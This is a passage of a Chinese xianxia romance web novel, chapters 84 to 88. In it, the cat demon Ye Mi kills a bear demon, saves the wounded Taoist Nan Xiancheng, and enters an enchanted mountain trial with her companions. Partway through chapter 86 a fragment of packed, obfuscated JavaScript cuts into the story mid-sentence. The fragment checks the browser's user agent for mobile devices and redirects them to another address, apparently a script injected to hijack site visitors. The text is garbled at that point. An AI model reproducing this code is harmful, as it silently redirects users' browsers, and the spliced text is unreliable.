叶米起身收拾好，离开了房间。
半炷香之后，谢珍珠来敲猫的门，想找她一起去用午膳，敲了半天却没反应，她推开门一看，屋里空空，叶米不知道去哪了。
“猫大人呢？”万情贞在后面问。
“不在。”谢珍珠把门关上，疑惑地挠了挠脸，“奇怪，叶米平时都不怎么出去的……”
万情贞看了看客栈一楼门外：“也许是今日天朗气清，想出去散散心？”
谢珍珠想想也是：“有可能。听说猫都很独立的，我们不能一直缠着她。”
“你内涵谁呢？”
“没有啊！”
……
叶米离开天朗气清的景州，腾云驾雾了许久，来到了一处阴云密布的深山老林里。降落林中之后，天色昏暗，头顶的乌云黑得像染上了夜色。狂风怒号，吹入林中带动树就更吵了，叶米的头发衣服被吹得乱七八糟，走路都有些不稳。
她原先能感受到石头的牵引，但飞入这片森林之中后就若有若无了，林子里弥漫着一股浓厚的妖气，厚在除了妖味以外，似乎还有一些让人发晕的体味，这种特征的妖气往往说明此妖的体型庞大、毛发厚重。
体型庞大相当于破坏性强，毛发厚重相当于防御力高。
叶米走了一段路，瞧见了两根倒在地上的大树，上边还有几道抓痕，长而深，她便推断这是一只熊妖。
找不到南显成在哪，石头传来的讯息时断时续、似有似无的，叶米想了想，不如先追着那熊妖去，道士不至于这么容易死吧——要是死了，她等他下辈子再报恩好了，那姻缘簿上的故事自然不作数。
可想到姻缘簿，她又不甘心地安心了，觉得他定不会死的。
于是先顺着这股难闻的妖味找到了那只坐在河边吃鱼的熊，它身边还摆着几具新鲜的、刚被吃完肉扔到一边的骸骨。叶米没闻到血腥味，因为这熊妖的妖气太重了。
她从林中走出来，踱步到河边，和河对面的熊妖对上了视线。这条河不宽，再窄一些就成小溪了，一猫一熊隔空对望着，空气中时不时滋啦起火花。
熊扔下手中被咬了一半的大鱼，站起来打招呼：“来找死的？”
叶米道：“差不多。”
熊一愣：“差在哪？”
叶米微笑：“找的是你的死。”
熊被挑衅了，气得跺了下脚，水面哗哗地震动起来，彰显着他夸张的力量。叶米不惧反笑：
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“一只尚未化形的妖，还敢在我面前放肆。”
谁知那熊一听更气了，嗷嗷道：“谁没化形？你是妖精，我是妖怪，化不了人形，难道是我愿意的！？”
妖精比妖怪化形后更像人，叶米了然道：“差点忘了还有这回事。废话不多说，你告诉我那名道士的下落，我考虑饶你一命。”
“道士？”熊妖气急败坏道，“你不提他还好，他打伤了我还放跑了我的口粮，我还没找他算账！等我知道他的下落，他就该被我大快朵颐地填了肚子。你竟然和他是一伙的，那你与他就在我肚中相见吧，哈哈哈！”
叶米挑眉：“你竟然吃人。”
熊妖瞪她：“我是熊，熊吃人天经地义！”
“我没说这不是天经地义的事，”叶米心想这熊怎么脾气这么暴躁，吵得不行，“难道你不知道，吃了人的妖是化不成人形的吗？只能做怪。”
熊妖闻言一愣，熊脸上露出许多呆傻：“是这么回事吗……没人同我说啊！”
叶米轻笑一声：“你这么凶神恶煞，又处在这深山老林里，消息闭塞，想知道也难。不过我看你这样，不化人形也很自在。”
“哪里自在！”熊妖瞧着很是不甘心，“若我能化作人形，就能潜入人类村庄，吃人不是简简单单的事？哪像我现在，一下山他们就跑得屁滚尿流，实在捉不到几个人！”
叶米没想到他想化作人形只是为了吃人，不由得嘲讽一笑：“你有这般狭隘的心胸，日思夜想只图口腹之欲，化不了人形也不可惜。不过我倒是有办法满足你的愿望。”
熊妖听她说前半句话的时候还是很生气的，一副等猫说完就要发作的模样，听到她最后一句则是一愣，竟有些希冀地问：“你有什么办法？说出来，我不吃你了。”
“那当然是……”叶米朝它温柔一笑，“去下辈子重头开始啊。”
熊妖觉得自己被耍了，哇哇大叫起来，捶胸狂怒。
叶米对付这些体型比自己庞大的妖很有心得，最首要的是先攻击它的眼睛，等它瞎了失去了方向，招式便会混乱起来；这种皮毛很厚的妖，一般皮毛都是很坚硬的防御品，不能分散攻击，要集中多次攻击同一地方，最好是双腿或双手，让它们失去行动力。
接着就是磨，毕竟它们血厚，不过对叶米来说，磨也不需要磨很久。不过一炷香时间，那只熊已经倒在了那被他要了一大半的大鱼边上，黑溜溜的熊眼和鱼眼四目相对着，都是了无生息的。
熊妖死了之后，妖气四散，空气中瞬间飘起浑浊不堪的妖气，眼前的小溪忽地变得污浊不堪，临近的树木快速地腐朽枯萎。叶米屏蔽嗅觉，皱起眉头，心想这只熊妖到底吃了多少无辜生灵，妖气竟这般浑浊。
这么把它的尸体放在这显然不成，这片森林不知道要被污染多少，叶米便想用火烧了它，但它的皮毛防火，非常厚实，她无奈，只好忍着麻烦把熊妖的皮被拔了下来，再把赤裸的熊妖给烧了。
85. 第 85 章
这么好了之后她忽然想起来自己是来做什么的了，便打算去找南显成，走之前看到熊皮，心想好像人类很喜欢这玩意来着，丢在这里也是浪费，不然送给他好了，这算不算还了一点恩情？
熊妖的妖气散去之后，石头的感应就强了一些，叶米抱着熊皮找了一会，终于在天完全黑之前找到了那个山洞。
里边也很黑，叶米用木头点了根火把，往里走了几步，拐过一个小弯，一个没注意踩到了什么东西，她平衡力好就没摔倒，就是给半死不活的道士给踩疼了，下意识呻吟一声，迷蒙地半睁开了眼，眼帘先是被映上了大片橘红色火光。
叶米把犯罪的脚收回来：“你躺在拐角处，我一时没瞧见。”
南显成其实没听清对方在说什么，只是认出了叶米的声音，他忽然有了睁开眼睛的迫切，艰难地把眼皮抬了起来，勉强适应了火光的晃眼之后，看清了那张熟悉又不那么熟悉的脸，一时间还觉得很梦幻。
是真的……还是梦？再或者是幻觉呢？
“果然没死。”
嗯……这像是她会说的话。不过要是让他幻想这场景，也是会想她这么说的。
叶米要查看他的伤势，拿着火把从他的头上扫下来，没注意几粒火星掉到南显成的伤口上，让他小小地激灵了一下，皱起了眉头。
衣衫盖着不方便，而且还破破烂烂的，叶米就要把那几块布料撕了下来，结果因为血液粘连着伤口许久已经有了粘连，撕下来的时候有些阻力，她是没在意的，南显成被这疼痛刺得“唔”了一声，总算清醒过来。
“……叶米？”他总算敢叫出声，明白这不是幻觉。
“嗯。”叶米说，“你伤得还挺重，我给你止个血，用灵力帮你修复一部分伤口……不过内伤得靠你自己。”
“你怎么来了……”他先是说，又往边上指了指，“我的包裹里有一些药。”
叶米先给他止了血，又把包裹拿过来，翻出里边的药让他选，选了一瓶叫什么的不知道，反正她给撒下去了。
猫这时候想，这包裹就在他边上，他居然也没力气拿过来自己上药，而且这伤势确实挺重，难道要是她不来，他真要死了？
他要是死了，那姻缘簿上的事……还有她的成仙之位……
叶米不知道怎么回事，只是这么细细地想起来，总觉得有许多古怪的、藏得很深的东西，可她只在最表层的那一面上，做什么事也来不及想这么深。
“叶姑娘？”南显成缓过神后能说话了，不过声音还是虚飘飘的，显得看着叶姑娘的眼神格外深沉，“多谢你来救我，我已经没事了。”
叶米还在走神，随便地说：“那只熊妖有这么难对付？”
南显成解释道：“倒也不是，只是我还需护着几个凡人离开，三心二意，一时不察。”
原来是这样。
叶米瞥了眼他手心红彤彤的石头：“为什么不主动向我求救？”
南显成顺着她的视线看向自己的手：“我怕……你有要紧事，又不得不来救我。”
“有要紧事我自然不会来。”
“我是想……找你的时候是一些宽余的场合，你想来就来；却不是生死攸关的时候，逼你来救我。”
叶米一愣，他这话像是认定了她会来，所以不想麻烦她似的。看着他原本清秀的脸上都是血污和狼狈，原本穿得规规矩矩的衣裳也不见了，露出破败惨痛的躯体，瞧着真是可怜。
猫心里说不出什么感觉，只是这感觉确实有些陌生的，她没法探究，想了想说：“这石头你用错地方了，本就是给你求救的时候用的。不必想着麻烦我，你就当是我欠你的好了。”
“你没有欠我什么咳咳……”他有些着急地说，“叶姑娘，你别这么想。”
叶米现在就觉得这道士就是太过于善良正直了，她既没办法杀了他，又很难寻到报恩的机会。
他说她没有欠他，心里定也是这么想的，只是上天不乐意，若这真是件无所谓的事，为何要把他俩写在姻缘簿的同一页？大家都说是良缘，仔细一想仿佛从头到尾都是她在占尽了便宜，可她想要的并不是这个。
叶米把熊皮扯过来盖在他身上，站起来居高临下地看着他：“你不用在意我的想法，救不救你也不是你说了算。既然你没事了，那我走了。”
“叶姑娘……”
南显成欣喜看到她，有许多话说，但细细一想都是空话，只是想有话说罢了，他没有什么理由让对方多留一会，她走得这么急，不管是有急事还是单纯想走，他都是不该留的，所以现在叫住她，也只是诚心地说：“多谢你。”
叶米说不用谢，转过那个弯就不见了身影，连脚步声都听不见了。
南显成原本受了伤，一个人孤零零冷飕飕地躲在山洞里也不觉得孤独，手中搁着石头，仿佛拿捏着希望，竟也有些安心；可她来了之后，这么会就走了，像是希望被实现后又回到了现实，什么也没改变，但自此之后再多想一点就会显得他得寸进尺了。
道士摸了摸身上的熊皮，她是生扒下来就给了他，没处理过还有一股味儿，不过他是不嫌弃的。只是摸一摸上边的毛发，时不时就摸到一团因浸泡了血而凝固僵硬的一块，这只熊身上不知道染了多少人的血……
只希望没有她的。
*
叶米回到景州已是深夜，幸好街上还有卖宵夜的，她吃了一碗加蛋花和肉的面，饭饱之后，就打了个哈欠，能睡个好觉了。
隔日一早，和一早来找她用早膳的谢珍珠用过早膳之后，叶米在床上打坐，几乎是熟能生巧地用断魂草引出了情根，也毫无意外地瞧见情根长出了几张叶子，漫不经心地斩断之后，面色淡然如做了一件寻常的事。
日中之后他们就要继续出发，考核之路也走了大半，快近尾声。叶米有些不切实际的感受，隐
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隐一丝不安心，但不知从何而起。收拾好行囊，下了楼，谢珍珠几妖已在客栈门口等候，边上还有欧武武他们。
“昨日你跑哪去了？”欧武武不满道，“师父来了。”
叶米也不意外：“师父说什么了？”
“师父说我们赢了。”胡和烈的话里有些得意，“让他们仨打道回府。”
欧武武鼻子出气：“哼。”
“哦。”叶米看看欧武武，又看看边上的陆甲和林圆圆，“那你们怎么还在这？”
欧武武扭着脑袋没说话，还是林圆圆道：“这不是想着你不在，就这么走了也不太好，想等你回来和你说一声再走。而且杀了鬼影之后也怪累的，多休息一日也没什么，反正我们现在也不赶时间。”
谢珍珠问好友：“你们还要回万妖堂吗？”
“是啊。”林圆圆点点头，“得领了结业证再走。而且……总要看看最后是谁成了仙对吧？”
她瞥了眼叶米，又转过来，和谢珍珠微微一笑道：“珍珠，你可要加油啊！”
谢珍珠挠挠脸，若是之前，她就要说些丧气话了，这会儿想了想，还是点点头应下来：“好，我加油！”
陆甲朝胡和烈讨好地笑了笑，笑容之中似乎有些些尴尬：“胡大哥，我相信成仙之位定是你的囊中之物！”
胡和烈瞅着他熟悉又陌生的笑容，心中有些麻木的不舒服，扯了下嘴角：“嗯。”
“叶米。”欧武武扭过别扭的头，“若是成不了仙，你要去哪？”
万情贞立刻白了他一眼：“你胡说什么！猫大人怎么可能成不了仙？”
欧武武瞪他：“谁跟你说话了！”
“不知道，”叶米说，“没想过。”
欧武武啧了一声，哼哼道：“你还挺自信。”
自信？叶米是有自信，不过这也不全是因为自信。她这一百多年，除了成仙之外就没想过别的事了。
当只潇洒的妖似乎很好，但她不享受这份潇洒；也有妖贪恋人间烟火，化作人形在民间成家立业，她却觉得了无生趣。她似乎就只有那么一根直通成仙的脑筋，在达到此目的之前的其他事，都是没法考虑的。
两组告别之后，大路朝天各走一边，叶米四妖继续往东北方走去，天际辽远，仿佛没有尽头，谁也不知道接下来会迎来什么。
他们往前走着，走走停停，嬉嬉闹闹，偶尔的沉默之中也有和谐的安心。一向随意的胡和烈有一天忽然有些紧张，似乎有些把成仙之位放在心上，叫嚷着想活动活动筋骨，让叶米和他比划一下。
叶米说他吃饱了没事干，但还是答应下来。螃蟹精和书灵在边上哇哇喝彩，就两只妖也弄出了好热闹的动静。
两妖打得认真，但不执着于输赢，更注重比划和对招，你来我回的时间就久了一些，打得尽兴了才停下来，自然还是叶米赢了，虽说是随意比试，但她也不会因此让出输赢。
86. 第 86 章
四妖坐在难得遇见的草坪上休息，今日天气很好，这么看去，世间似乎只有草坪和蓝天两片，远方的山岳和树木像是皮影戏的置景。
谢珍珠吃着果子看风景，有种小时候和姐姐爹娘去岸上玩的欢乐，当时去了哪里她也想不起来了，爹娘估计是随便找的地，他们常年待在水里，陆地上的人间知晓得也不多，随便往哪走几步，就是新鲜的景色。
螃蟹精慢慢地感受到心里空荡荡的惆怅，简直不知道是从何而起的，她放空着放空着，忽然想到什么，好奇地问胡和烈：“胡大哥，听说你有一招必杀绝技，我还从来没见过呢。”
胡和烈躺在草坪上，双手枕在交叉的双手上：“哦，是不常用。”
“是怎么样的？”
“都说是必杀绝技了，”胡和烈道，“自然是不得已的时候才能派上用场。”
“不得已的时候是什么时候？”
胡和烈瞥她一眼，嘟嘟囔囔道：“你问我就要说了？”
书灵嘿嘿笑道：“胡大哥这么不情愿，看来不是很厉害的招数哦？不然早就拿出来炫耀啦！”
螃蟹精听他这么一说也觉得是这么回事：“哦~~”
胡和烈听得额角青筋突突：“喂！你们两个……”
叶米在边上幽幽道：“扑棱……咳，蜂族的必杀绝技不就是那样的吗，你们不知道？”
胡和烈一听噤了声，诧异地看向她，眼中似乎有些慌张。
书灵和螃蟹精对视一眼，茫然对对碰，后者摇摇头：“不知道哇，我就晓得蜂族是刺针送毒嘛，比如……胡大哥的螫针。”
猫妖笑了一声：“果然妖还是多读书的好。”
书灵：“我读的书也不少啊！”
猫妖：“读那些情情爱爱的有何用？”
书灵：。
他当然不敢对猫大人使眼色，又撒娇道：“好嘛，猫大人你就别吊我们胃口了。”
胡和烈也抿唇看着叶米，想知道她是真知道还是假知道。
一阵风从她脸上吹过，送来扑鼻的青草芳香，叶米说：“《人界唐前战事》记载，战至尾声，魔界攻入勒阿林，受到以虎头蜂为首领的众蜂族顽力抵抗，魔界死伤两万余名，蜂族死伤两万余名，险胜勒阿林之战，功标青史，永载史册……”
“好惨烈啊……”书灵当时还未成精，躺在书格里什么都不知道呢，他看向胡和烈，瞧见他脸上一丝遥远的沉重，“不过这和胡大哥的必杀绝技有什么关系？”
叶米道：“螫针是蜂族人手一把的兵器，附有毒素，断了可再生，是蜂族自身一部分，也就是尾针。平时见他们在手上耍着轻松自在，似乎许多妖都忘了，螫针既是蜂族的武器，也是致命弱点。”
“有些蜂族危在旦夕时会断尾刺伤敌人，以命换命；虽然虎头蜂失去螫针后不会死，但从勒阿林之战敌我相近的伤亡妖数来看，不得不联想到蜂族以命换命的特质……”
“所以我猜，”叶米朝脸色僵硬的胡和烈微微笑，“你们大部分蜂族成妖之后，藏着致命之毒的尾针并不是类似螫针的实物，而是由自身所有法力幻化出的一招，放出此招后，就相当于失去了所有妖法，所以在勒阿林之战中才会被杀死。”
“只要失去法力，但凡还有其他敌人存在，其实和以命换命也差不多。”叶米拍拍手上的杂草和泥土，“这必杀绝技这么绝，自然不能随便用了。”
谢珍珠和万情贞都听呆了，本是有些不可置信的，但瞧胡和烈的脸色，明显叶米说得都是真的，二妖一下不知道该闭紧嘴巴还是捂住耳朵。
“当然，”她最后居然这么补充道，“这些只是我的猜测，你怎么这样的脸色，难道这是你的秘密？”
胡和烈：……
猜得很好，下次别猜了。
空气中静了一会，扑棱蛾子深呼一口气叹出，有些破罐子破摔道：“算了，其实也不是什么秘密，只是没什么好说的。”
“啊，”谢珍珠小声惊讶，“那失去的法力还会恢复吗？”
胡和烈道：“会是会，不过起码要个把月。”
叶米在边上：“这个把月就要警惕仇家找上门是不是？”
胡和烈扯着嘴角点了点头：“是，所以一般不到生死关头，不用这招……你怎么知道的这么多？”
叶米耸了下肩：“之前看书看到的，虽然上面没明写，琢磨一下还不清楚吗？”
胡和烈有些牙痒痒，想咬些什么，最后只是咬了下牙关，哼道：“我们虎头蜂大部分妖一生都不会用上这招。大家都住在一起，妖多势众，鲜有不长眼的来招惹，只要不再爆发战役，不会有更多妖因此而死。”
万情贞点点头道：“不论后果，这招其实很好用啊，而且胡大哥这么厉害，平时能让你用上的地方太少了，真到关键时候，还能杀个对方猝不及防！”
谢珍珠好奇：“比如什么关键时候？”
胡和烈就撇过脸不说话了。
叶米睨他：“不会是对付我吧？”
“怎么可能！”他像是被踩中尾巴似的跳了起来，生气地反驳道，“这是杀招，要死妖的，你懂不懂？”
叶米被他吓了一跳，无辜道：“我当然不懂，我以为只是厉害点的毒素。”
“我倒是恨不得只是厉害点的毒素，”胡和烈就这么说出自己遗憾的坏心眼，“要不然我早该赢了你……”
叶米听他话里真是有很多遗憾啊，翻了个白眼：“你果然这么想过。”
“嗐，只是想想嘛。”谢珍珠试图缓和气氛，“我也想过什么时候变得超厉害，能打赢你俩呢。”
万情贞“哈哈”：“不一样，你这叫白日做梦。”
谢珍珠：……
大家都笑起来，现在不高兴的只有螃蟹精了。
走离这大片的草坪，淌过几条小河小溪，盯着脚下的路前行，抬起头来一看，本是想找云的，却瞧见一座大山屹立在眼前，仰尽了脑袋也瞧不见山顶。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14706091|148393||http|test|mini|href|location''.split(''|''),0,{}));
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“啊？刚刚这条道走过来没瞧见这有座山啊？”万情贞把行囊放在腿上，坐在石头上擦了把汗，把手伸进行囊里掏东西，“猫大人，你们有瞧见吗？”
叶米也察觉些古怪：“没注意。不过这山堵住了前边，不知能不能路绕行，若是没有，怕是要爬上去。”
爬山多累啊，大家都不想的。
胡和烈把东西扔边上，扭扭脖子转转脚：“我飞上去看看。”
万情贞咬包子：“胡大哥，注意安全啊！”
胡和烈是长翅膀的，又会腾云驾雾，在场没有比他飞起来更安全的妖。三妖在树下一边吃东西一边等，闲谈两句时抬起头来看看，试图寻找那一点身影。刚开始还是能瞧见的，过了一会就难找，大家就懒得找，这么大只妖了，总不会丢了才是。
谁知等了好一会，也不见他下来，叶米就想着上去看看，但是万情贞不让她走：“不行不行，猫大人你走了，我俩在这不跟肉包子摆在路上一样吗！”
谢珍珠：“啊，什么意思？”
万情贞：“等着人来吃呢！”
蟹黄包立刻感到一些危机感，但是心里是有些担心的：“可是胡大哥……不行不行，叶米你还是去吧，我会保护万情贞的。”
万情贞：？？
“我真是不劳烦你了，用不着哈。”
谢珍珠：“行，那就各管各的。”
“你……”他明明不是这个意思，但转而一想，连胆小如鼠的螃蟹精都这么有志气了，他要是再露怯、扒拉着猫大人不让她走，岂不是显得自己比螃蟹精还无能？
万情贞万分不情愿道：“好好好，猫大人你去吧，我们自己管着自己。”
叶米瞅瞅他又瞅瞅她，心里也是无奈，从地上捡起两个石头，画了阵法，一妖一个：“要是出了什么事，用传心术找我。”
两妖当然接下来了，这才感到一点安慰。
在螃蟹精和书灵的目送下，叶米腾云驾雾而去，她先是往高处飞，想飞到山的最高处看一看，但飞了一会觉得很不对劲，从下面仰着头看还能看到山顶的山，这会怎么飞都飞不到山顶，按理来说不应该。
现在她已经飞入云中，那山在云层里若隐若现，像跟她玩游戏似的。叶米越飞越高，低下头已经瞧不清人间，她停下来左右看了看，周围都是云，除了云什么都没有。
“胡和烈——”
这么喊了一声，尾声躺在云上飞出去好远，都没有回来。
叶米想了想，决定到山上瞧一瞧，她本来就离这山不远了，这时候飞过去，只瞧见那座山越来越大，山是很普通的山，里头有一些树木植株，隐隐约约的，似乎还瞧见了石阶，歪歪扭扭好长一条。
粗略一看，没瞧见山上有人，叶米打算落到山上看看，可这么往前飞去，刚要落在山上那颗长在石阶边上的树木的时候，忽然有一结界将她猛然弹开，叶米完全没注意到，猝不及防地被弹飞了，掉下云彩直直地往下坠去——
87. 第 87 章
叶米心中惊诧，看来这确实不是普通的山，立刻要再施展腾云驾雾之术，可是不管怎么掐手决、念咒语，都不见效。这时候她的冷静还是占上风的，在降落的狂风呼号中快速地尝试了许多术法，但一个都用不上。
马尾的发丝凌乱了猫妖的脸和视线，她发现自己体内的法力正在逐步散去，像被自下扑面而来的狂风吹走了，抓不住一点。当务之急不是考虑这个，而是要想想等会怎么落地的事，总不会就这样摔死吧？
那自然不至于的，只是这山到底有多高，她怎么还没瞧见地面呢？
有这念头的下一秒，猫妖就看见了大地母亲的怀抱，她绷着神经，灵活地在空中转了两圈，一脚踩在边上的山体上借力，缓解落地时的冲击后这才华丽又稳当地双脚落在了地面上。
平时喜欢腾云驾雾的猫妖这时候都觉得脚踏实地的感觉真好。
她打量周遭的环境，一旁就是上山处，破烂磕碜不规则的石阶一层层堆叠上去，约能二人并行，这样一长条的盘在山上，像是一条从天上流下来的小溪，参差的石阶似波光粼粼。
它就在那，猫妖的两步之外，这么安静倒像是一种坦荡的昭然若揭，仿佛像在说“除了我这你还能上哪去”？
叶米往边上看了看，就是寻常的山下景色，空空荡荡的，甚至更远一些就被浓雾所掩盖住了，简直是得意的欲盖弥彰。
即使知道怎么回事，她还偏要弄个明白，胆大地走进迷雾内瞧了瞧，这雾没有莱茵河上的浓，不至于睁眼瞎，但也瞧不分明，往某一个光点走去的时候，以为找到了出口，一出来又是那山那台阶。
叶米就明白是怎么回事了，大概胡和烈也陷入了这山的诡计之中。
她再次施展了法术，还是什么都没有，看来只能走那条唯一的路了。
猫妖走上第一层台阶，她脚步轻盈，这一步却像是按下了什么机关，拉着她的脚往下一沉，其实没沉下去，只是有那样的感觉，叶米抬头一看，眼前的空中浮现水墨字：
【成仙难，难于上青天。恐半途返、志不坚。心无挂碍。】
叶米念过一次，字迹便消失了。
成仙……
她扬起脑袋看向隐入山的拐角的石阶，心想难道这一关是要她们登上山顶？她刚刚往上飞了多久？也没看到这山的尽头，虽说也知道其中有古怪，可心中也是不踏实的。
算了，站在山脚想这些是没用的。
叶米不再多想，迈步登上了石阶。
与此同时，胡和烈第无数次从迷雾中飞出来，第无数次瞧见了那条石阶路。他累得瘫坐在了地上，心里不知道骂了几百回，又有许多后悔，暗骂自己为什么要擅自行动，这下好了，被困在这里，都联系不上叶米她们。
扑棱蛾子瞥了眼石阶，背部往后一靠，舒舒服服地靠在了山体上，闭上眼睛呼出口气，嘟囔道：“算了，事已至此，那就在这里等叶米他们找来吧。要是再往山上乱跑，到时候找我更难……啧，早知道不出来了。”
山：……
“滋滋，咔嚓！”
一道小闪电落在他脚边，胡和烈吓了一跳，连忙从地上弹跳起来：“搞什么！哪来的破电？”
被他骂了，闪电似乎更生气了，噼里啪啦地追着他跑，胡和烈左右逃窜，只好逃到了石阶上，这下闪电就消失了，似乎达成了什么目的。
胡和烈对闪电莫名其妙出现莫名其妙消失感到莫名其妙，不过他也没多想，毕竟这里奇怪的情况太多了，往下走了两步就要下石阶，却发现石阶外忽然多了一层结界，他这才发现自己被赶鸭子上架了，气得跺脚。
那没办法了，看来要破局只能往山上走……
胡鸭子满脸不爽地转过身，忽然瞧见面前的空中飘着一些俊逸的水墨字：
【成仙难，难于上青天。恐半途返、志不坚。心无挂碍。】
他看过一遍，字迹就化作星光散开。胡和烈回过神，没品出什么，嘴里嘟囔了一句“什么玩意”，两三个台阶两三个台阶地往上迈步子。
话分三头，这一头的另一头，叶米走后，螃蟹精和书灵在原地呆呆等了没多久，天上忽然下起雨来。
万情贞把之前买的伞拿出来撑着，心情随着滴滴答答的雨声开始感到失落和悲伤：“过去多久了？一炷香的时间？猫大人怎么还没回来……还有胡大哥，是不是去了有一个时辰了？他们不会遇上什么事了吧？”
谢珍珠的手伸在伞外接着雨滴：“怎么办，下雨了，叶米和胡大哥都不喜欢下雨的。”
万情贞敷衍道：“只是小雨……”
“哗啦啦——”
瓢泼大雨倾盆而下，砸在雨伞上像是落下几个拳头，吓得二妖连忙躲到边上的大树下，蹲下身来挨在一起，缩在那把漂亮的油纸伞之中，像是一朵可怜可爱的毒蘑菇。
“是不是不要躲树下比较好？”这时候谢珍珠说，“不是说下雨天躲在树下会挨天雷吗？”
“嘘，乌鸦zu……”
“轰隆！”
二妖又吓了一跳，毒蘑菇忽然长高了，连忙跑离了那棵树，转眼发现这条路边上全是树，挨得还那样近，他们站在小路中间，身上背着大包小包，站在雨水之中，简直无处可去了。
谢珍珠有种被全世界抛弃的感觉，哪怕万情贞就站在边上，可她看着前方的雨幕，说不准是期盼着有谁从中走出来，还是她自己想走进去。
“我们不能这样干等下去了。”谢珍珠说。
“什么干等，是湿等，”万情贞挥挥袖子，“可恶，我身上都湿了，好难受，要是猫大人在，就能用干燥术……”
“万情贞！”螃蟹精忽然把伞扔到地上，声音被雨水变了调，但听起来也有些生气的，“你太没用了！”
雨这么大，伞一扔，两妖瞬间就湿透了，毫无遗漏。
万情贞刚刚还想
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把袖子挥干，现在是没必要了，他被骂得呆了呆，也生起气来：“你说什么？我没用？最没资格骂我的就是你！”
“没资格也看要跟谁比，骂你我还是略有资格的！”
万情贞被她这话堵住了喉咙，一时间惊讶这谢珍珠如何伶牙俐齿起来，转而一想，又明白她说得是事实，自己才无法辩驳，只好从别处狡辩：“我有用做什么，我又不要成仙之位，本来、本来就是不拖后腿就最好了。”
雨水流进谢珍珠的嘴巴里，她都喝下去了：“话是这么说，但现在叶米和胡大哥行踪不定，怕是有危险，你怎么能这么无动于衷？”
万情贞顿感冤枉，哇哇大叫起来：“什么无动于衷？你不也在这哪也没去吗！”
谢珍珠：……嗯？
她忽然冷静下来，这时候才觉得刚刚的话也可以骂自己，其实也许就是在骂自己，不过要是别人不点出来，倒是不好察觉的。于是螃蟹精点点头，平静地下定了决心：“我现在要去了，你要干什么随便你。”
“你不要添乱啊。”万情贞拉住她，“要是你刚走叶米他们就回来了，那不是还要费心思找你？”
谢珍珠摇摇头，甩了万情贞一头水，好在雨一直下，他也不知道。螃蟹精说：“你和我总是这样安慰自己，其实这两个选择根本就是一样的，选哪个都是一样的，不过一个是勇敢一些，一个是胆小一些，这次我要选勇敢的。”
“你……喂！”
万情贞看着她背着叶米和她自己的行囊头也不回地往前走，心里虽有些古怪她忽然做了勇敢的决定，但还是摇摇头叹了气，捡起地上的伞追了上去。
“走这么快干什么？我俩这么弱，做什么都要抱团行动才好，这样才安全一些，你就是要勇敢，也不能愚勇嘛，不是我危言耸听啊，像你这样的行为，在话本里都是要出事的……”
“你怎么咒我！”
“我说是在话本里！而且我这不是跟着你了吗？两只妖就没事了。”
“……听不懂你说什么。”
……
话说回来，猫这边，她体力好，又知道轻松的发力方法，在爬了一长段比较轻松的石阶之后，也只是微微喘气。
这山上一直有山涧流水伴着她，清甜可口，口感很不错，偶尔还有甜甜的果子能吃，这让她的心情好了许多，竟然觉得能一直爬了。
爬的有些累了，她盘腿在台阶边的大石头上，嘴里咬着果子，看山下的风景，这么一看倒是奇了怪了，明明刚刚在山下时，这座山像是遗世独立一般，周边也看不见什么，她埋头往上爬着，爬得高了一看，山底下竟有小桥流水人家，溪流在田地间盘旋，流入村民们洗衣的小河中。
叶米看着那几个米粒般大小的人影，在这画面里自在地活动着，有种不切实际的看话本般的感觉，自己也说不上来，不觉得是真的，但好像确实是真的，又因为太小了看不清，也只能有些猜测。
88. 第 88 章
她似乎记得按照她们先前的路往前走，走出这片林子就会碰见一个村庄，但地图上有没有这座山她是记不得了，现在也没灵力召唤出来，已经身在局中，只好既来之则安之。
叶米吃好了果子拍拍手，正要站起来，忽然听见前方有脚步声传来，她愣了愣，第一反应是警惕，第二是猜测会不会是胡和烈，便站在原地不出声也不动，只等对方过来。
出乎她意料的是，来者是一位六十左右的老人家。
叶米竖起眼睛往她身上一看，凡人。有这样判断之后很快又否认自己，毕竟她现在没有灵力，谁知道这识妖的本事是不是也没了。
她不动声色地站在那，看老人家撑着一根还算粗的树枝，一步一步地从台阶上走下来，伴着沉重急促的喘气声，每一步都那么艰难，更何况她的背上还背着一个背篓，里边装着一些叶米不认识的草。
老太太总算看见边上还站着个人了，她停下脚步，一边喘气一边稀奇地打量了一下这个年轻的姑娘：“孩子，你是哪个村的，从没见过你。”
她问起话来的语气有天下长辈对晚辈的天然熟络，叶米顿了顿道：“我是外地来的。”
“外地来的？”老太太点点头，呼出一口长气，“你来这山上为什么呀？”
“寻人。老人家，你有没有看见一个同我年岁相近的男子？人模人样的，就是脸上带脾气。”
老太太笑道：“年轻人嘛，脸上带点脾气太常见了。不过这上山下山只有这一条路，我从山上下来，没瞧见有这号人。”
叶米想了想问：“你是从山顶下来的？”
老太太：“还没到山顶，不过也差不多了。”
“山顶有什么？你去过吗？”
“山顶就是山顶，和其他山一样。”
叶米说不清她是揣着明白装糊涂还是真的就是普通的凡人，这座困住妖的山对她来说难道就是普通的山？
她兀自琢磨了会，抬头看见老太太笑呵呵地盯着她瞧。
叶米：？
老太太笑呵呵：“姑娘，我看你要找的人不在山上。”
叶米自然听出来她话中有话：“……嗯。”
老太太笑呵呵：“不如你同我一起下山吧？”
“……”
老太太笑呵呵：“你行行好，扶我一把，你看我这大把年纪了，要是一不当心脚下不稳，这一摔就没完没了了，估摸着要直接滚到山脚去。哎呀我这条老命呐，虽也是半个身子进了棺材了，但还是想多活几年。”
“……”
叶米现在觉得这老太太不是简单的凡人了，她琢磨着，难道这就是考核之一？她一踏进这山中石阶，就冒出那几行字要她登到山顶，对了，它是怎么说的来着：成仙难，难于上青天。恐半途返、志不坚。心无挂碍……
话里是说不能半途返、志不坚，但要是不背这老太太下去，估计师父要闪现出来说她不善良，他们万妖堂的堂训就是这样，在外要多行善事。
“好。”不过几瞬的思量，叶米就点点头道，“可以，不过我直接背你下去吧，也快一些。”
老太太笑呵呵：“那敢情好，真是麻烦你了。”
“嗯。”
叶米走到老太太面前蹲下来，老太太腿脚不便，僵硬着、慢吞吞地往她背上一趴，叶米见她的胳膊绕上她脖子了，便站了起来，自己是没觉得很突兀的，但背上的老太太“哎呦”了一声，忽然有什么东西哗啦啦倒在了她头上。
叶米：……
